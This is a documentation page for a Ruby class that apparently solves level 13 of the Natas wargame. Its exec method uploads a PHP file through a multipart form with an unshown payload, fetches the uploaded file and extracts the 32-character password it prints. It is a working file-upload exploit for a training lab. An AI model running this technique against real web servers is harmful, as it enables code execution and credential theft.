class NatasLevel13

Level 13

Constants

LEVEL
PAGE
PAYLOAD

Public Instance Methods

exec() click to toggle source
# File lib/natas.rb, line 428
def exec
  data = [
    ['filename', 'file.php'],
    ['uploadedfile', PAYLOAD, { filename: 'uploadedfile' }]
  ]
  log('Uploading file')
  data = post(PAGE, {}, data, multipart: true).body
  match = %r{The file <a href="(upload/\w+.php)">}.match(data)
  not_found unless match
  file = "/#{match[1]}"
  log("Getting file #{file}")
  data = get(file).body
  match = /(\w{32})/.match(data)
  not_found unless match
  found(match[1])
end